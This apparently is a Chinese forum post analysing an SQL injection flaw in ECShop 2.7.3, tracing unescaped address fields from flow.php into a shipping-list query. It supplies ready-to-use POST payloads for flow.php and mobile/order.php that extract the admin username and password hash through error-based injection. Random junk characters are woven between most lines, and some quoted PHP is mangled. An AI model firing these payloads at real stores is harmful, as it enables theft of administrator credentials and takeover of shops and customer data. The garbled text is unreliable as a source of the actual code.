前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
) k" ^4 m, o4 O$ K" T& Y" ^, l" s3 M* }8 g3 ^2 I, u
漏洞关键文件:
" `. Z0 x8 G9 {& @& b
3 v9 Z$ h. |( D /includes/lib_order.php
! x, a8 u( F3 D8 f- z- \. v9 e1 u/ g3 R& o9 h$ \. s
关键函数:. T# l5 u6 e+ c# `6 n
# j+ y" X; [8 J+ _9 K$ b {- l
7 I5 n( e+ e, [) K: I4 Q5 ^6 A: |
% M8 i. k6 k7 i* J' X
01 function available_shipping_list($region_id_list)
- }- U* p K1 S0 @4 e; \9 `* i) K4 B: e/ h3 Q& K
02 {
4 x i T) f! O9 m# f* Z( L4 p0 R) {" n0 F
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
\4 t2 f' C8 c5 L/ C9 g3 |8 s' y9 j! X& R P3 {1 J
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ! q6 ?% Y! J, q
8 \- W/ C! ]% O# Z+ M L$ [$ ?05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 h0 [) V8 a" J9 m
% l8 w8 G+ o( t7 J
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . & V3 o! u( p4 T2 G" X4 J& e6 K
. t0 l, b$ M2 Y/ }5 p" k07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) y$ G4 p3 z7 R+ n
6 N, S# h s2 G0 c% ?, u
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 6 L$ l4 _$ N2 `3 j
, J" Y: L E3 ~4 Z- V3 S09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
3 M7 c6 c* z2 U& m2 w1 O) j& V9 g5 B X a- c
10
! p8 J. ]5 l4 I+ } C. d) ]6 [1 H t, ]
11 return $GLOBALS['db']->getAll($sql);
2 `0 S1 p5 C( w, F6 k o/ H8 g( m! A3 D! Z! t
12 } - t( F7 }; D! |7 y. ^( l
* m& _/ \4 E; {# K5 k. N3 i
显然对传入的参数没有任何过滤就带入了查询语句。
, N) X6 `" z) A& \* ]4 G
0 l4 B! s. e, k/ d2 Q; z8 _3 U下面我们追踪这个函数在flow.php中:4 t8 v0 l" d" J" E% Y% G( ~+ x
第531行:
3 f- v" }7 W0 V1 Z& U
P9 ]% \7 \" z( g) Y" u' z' H1 $shipping_list = available_shipping_list($region); ' ` I$ O% t% ~; Y' K
# ]" Y u! z' I! }+ `# L
4 e' O: u6 \) W8 H
3 u+ b4 d! O/ A7 c- W 6 r( [) ~+ C9 E- ?! ~
3 ^8 z$ Z7 L' Y4 Y再对传入变量进行追踪:
I3 [4 l( v) f% e/ t) {% M
4 j# V2 o9 ^0 k0 P+ }- n6 P& z3 V第530行:
! T% W2 ]1 f( \+ Y' i5 q
8 R& z9 g! |: {1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ g! H; i- v L. ?
1 A& W. ], K* t" u
) r1 L" k2 V8 U$ L
5 i, O0 F! `# q/ P. g. h: n7 k
$ ~* U2 N0 F5 F, F' {# V' T* i3 m4 Y! l
第473行: : K- @' z7 I, T" O
# ?4 s# o. N3 V5 d: @1 $consignee = get_consignee($_SESSION['user_id']);
+ [1 Q% B# Z6 I* {1 |+ V2 I( G6 t5 [' z" `- j" K8 r' X7 ^5 X% b
到了一个关键函数:* x8 v9 M5 M; s: A& i
, {: E A1 q" P0 v+ x5 Z, k
/includes/lib_order.php; T, ]$ g7 U6 f' `! [. t0 _
% _% t& H; o8 i P3 K7 _5 X( Z 4 ]5 @( N* Z% R( q- D; A( j
% v. b. l/ J6 F% k3 d( b \0 P. M3 e: X* Y' }
6 h, E, `; L# b01 function get_consignee($user_id) ( |, i Q& \5 `/ X! Q$ ]
. K! f3 h B0 y3 _# Q0 w& S" ^& E
02 { " k1 x5 S; _9 C) ^. X
. \/ R8 q) |, T+ v03 if (isset($_SESSION['flow_consignee'])) / ?: D" R, J; m9 x- S$ K( j
- I, T) {/ G+ @. y# r k% o6 {04 {
6 L& V) g; I4 ^8 s: P4 e. _$ d! K/ |' U' I" D
05 /* 如果存在session,则直接返回session中的收货人信息 */ $ q- U# O8 s: z+ c* ^
2 E% q+ Z- g: J6 ]6 M
06 5 d$ U* D* q y A; o
0 b5 \$ n: F* N4 O07 return $_SESSION['flow_consignee'];
: I* y2 `- _0 N: j& m7 n9 u# X
( g! A2 d' s& o; g; Y( ?08 }
% R/ [% Q7 u# K6 v' X2 W5 n$ x$ i1 h, k$ e. s
09 else
. e! p/ w# G4 M! L3 }# w, }
+ ]* F& G4 Z& j' L: s& S10 {
) m+ t( n) ^; v; v- w3 w4 w" k( }- n# V7 Q) a# R' ?+ J& C6 V: W
11 /* 如果不存在,则取得用户的默认收货人信息 */ + V. w, g' h& j
5 B0 _) |% s4 Z" `" n" i7 R12 $arr = array(); , h8 N1 `3 ~+ K1 L: d
0 k5 F/ k# l3 T. O. ~% E13
+ y/ h7 T, q/ B! w/ a
/ ?' X6 V& F X9 s( Y14 if ($user_id > 0)
% t- t4 l/ K& s' O; D4 e% d5 T9 k, f( k6 i0 O
15 {
) n- v0 g5 @$ m8 L9 _8 x& }5 O) Z) l; x( l- _! p+ ~; ^
16 /* 取默认地址 */ $ f, g' ?0 q8 U, V% S$ E4 G* s2 I3 ?
9 f" ^. V) m# u, B3 e& U- K9 R17 $sql = "SELECT ua.*".
9 E/ D1 l. ]" O ^* H- S, a: x0 k! N7 ]
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 t. b% c; R* w' H, c) e
6 r! f% k" `7 y. k9 u
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; & y5 I9 u) ]8 m
' u5 G1 K/ `0 G9 D2 b- q0 w& ~
20 : z9 Y/ e+ H8 U
- _1 c$ ?% s S; D$ m i/ [
21 $arr = $GLOBALS['db']->getRow($sql); & I# k% q; C. d/ }# n5 K" y, _
6 C4 p; ^. K8 V
22 } * V7 W2 J0 j6 Q/ Y2 V
/ ?: ^" ^9 A# o/ w: D$ G |1 B23 / O+ s! Q7 K$ G' b
# m8 Q$ I- }3 k7 ]1 z6 I! d24 return $arr; / P& {; l8 [# [% S( a6 I
% u9 J$ L; K6 n( ], T
25 }
0 J; H- s4 {' D% K
3 n4 a7 N" I$ U. f26 } 4 A7 n% m9 r: {0 D
B, C2 ]) y; t }
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?( n, u6 Q6 f1 i/ P, R7 m/ |
& y9 f# D7 h$ ~8 y
7 E( b. ^6 O! Y3 L, M
8 F! h" J( z/ D; \" k( K关键点:3 s2 T$ M/ X: W2 ]8 C
! b, N6 f3 z$ X! V$ W! ~1 H
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
& L5 {' L+ z, W' T2 m# ~, G
" ~( r. I* T, z# h! B这里对传入参数反转义存入$_SESSION中。. u6 _1 z1 c1 n) W m7 l
, n1 C: i- u5 S5 ~2 c9 ]6 d* D' B
. V4 T% F! L1 U; V; A7 ]1 J
4 ]$ W4 k$ B* J/ Y然后看下:# ^5 U6 l# s' u) s% {
# S$ d' u% l3 g, ]; A g, D
6 K* z) n! S. H' I3 L
# l+ a3 ~& |6 J( g1 j' Y2 D' f0 b
9 S5 M4 y Q. Y r, g( c
- z% F9 p- R- S" q- }! H01 $consignee = array( ) d0 K8 N+ A+ ?5 [$ y
& E$ r3 j+ Q1 C6 ?
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 5 y- {! L1 u {% x5 V/ p
9 Z& w8 _/ T' w/ [. q4 p I5 V03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), * p. }, \2 q0 E$ Z4 F% g
+ Z8 N! R: e- Z E7 f9 U& ~0 o. a04 'country' => empty($_POST['country']) ? '' _POST['country'],
6 l, E7 O+ J" }1 u
* ~% X+ M. F' e# f! U3 r05 'province' => empty($_POST['province']) ? '' _POST['province'],
! _# B4 j# d3 Q6 B5 z) }" Y( p q+ ]+ k5 p7 p x
06 'city' => empty($_POST['city']) ? '' _POST['city'],
6 ~ a7 H2 b/ A; b* U' \6 B& u
. e* F0 ^+ [2 x, j; J4 x* q07 'district' => empty($_POST['district']) ? '' _POST['district'],
% v2 f, n! [7 e7 ~
& C% }$ `1 {7 Y' o2 y08 'email' => empty($_POST['email']) ? '' _POST['email'],
5 z5 y; [4 g( C7 m: @1 ?8 Y4 O
- {' r' K; P0 E2 Q, a* M2 p' l09 'address' => empty($_POST['address']) ? '' _POST['address'],
9 n1 r5 X8 J/ t* U) O' j7 j, R) g. s7 ` v1 a7 p& I7 F
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
7 G( s) W' G2 T" g( h/ w' l9 }" h
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
- d8 M+ j+ E# c }9 G2 V! l
* O1 G( v. P) {6 q4 f12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
* B: R0 ]+ X# c0 {7 z, M3 p" X P: j# Z) ]* W. a4 y! C0 P9 [
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ! m4 {( ] Q7 n2 D4 \
. B, k* F9 [% A; e0 B
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
5 D) J7 T; ~8 }4 N4 }( }
4 @$ `% \$ @1 I6 d1 }15 ); " ~5 e, m4 I! U/ z# j
/ ?, B5 D# c( U: L7 K好了注入就这样出现了。
* F: ]& L$ x2 z9 k% h M4 C, Q8 V( A T# b5 ^: @+ A1 Z
==================
/ V! [" B2 Y$ \" S' Y& x* y. y8 n& C$ i) A. Z4 W+ F
注入测试:
7 @ {, D1 b& w- i
8 Z, x; \" m ~7 u, b& w6 \环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
! |& r: X5 p3 A& K1 p; ~1 `7 d) N/ v3 K5 E: ]. S2 i
测试程序:ECShop_V2.7.3_UTF8_release1106% t& f( `; Q/ ~" r9 P5 b: F
8 g9 Z j2 v# Y; `
. U/ d. x, T- _& g( a
+ i1 [ m" d0 ]9 t& p) i1.首先需要点击一个商品加入购物车
* w8 Z3 t$ h R. z {$ s: o
6 L: k- u3 H) v2 a9 [& i2 `2.注册一个会员帐号
* Q: h$ A- M. C: |1 [9 C: V8 o: a6 Q& q1 h; p# b4 G, v x
3.post提交数据* i/ [% _) r& Z8 h
/ `) K7 f& W/ x% }, L T4 P% ]
, ^: R- y" V; `8 z; }
w$ s& i7 [5 A) V+ F* \* q1 http://127.0.0.1/ecshop/flow.php
9 ^! a/ G+ I6 X9 r8 P$ j
$ p3 d! `8 a6 [7 d( Y7 I h0 Q2 * j1 u1 k/ `1 s5 g
E8 }) `6 O" c2 ~% O- Z, ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
$ E9 o* G# U: Y e* i0 _" d举一反三,我们根据这个漏洞我们可以继续深入挖掘:6 k$ e+ z/ d F* d! c5 s
) ]. D; F n/ g/ j) ?& ?% s
我们搜寻关键函数function available_shipping_list()
0 P% |& d# t" B2 L# N
- A/ ]# [2 D: Y4 O+ W( Q在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
* i/ |$ ]) ?7 J* R
H9 A5 k+ F5 z: q7 K5 R8 z& ]8 w利用exp:5 N* U5 Y& A( J9 ]0 h: i2 V
: E" \) ]$ b) Y% W- m1.点击一个商品,点击购买商标0 [0 e' w; t! n
) e9 s; d! A: I* i' b7 L! A
2.登录会员帐号
# `. e* m# z" y e6 M" C
3 S0 [$ F* W$ D3.post提交:
4 q" J/ h7 J& t( w7 M- a3 U6 f3 [# `
http://127.0.0.1/ecshop/mobile/order.php& J5 _9 }3 L' N$ q3 U% v
2 `, F& H+ _# o7 I
! \" h' ~% D# g: M7 t& g8 b' I8 F! n2 S+ k$ H4 k8 z, P7 \6 E
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( J* j( ?* y) A
% T$ E0 A/ D! t+ G) D! d+ ? |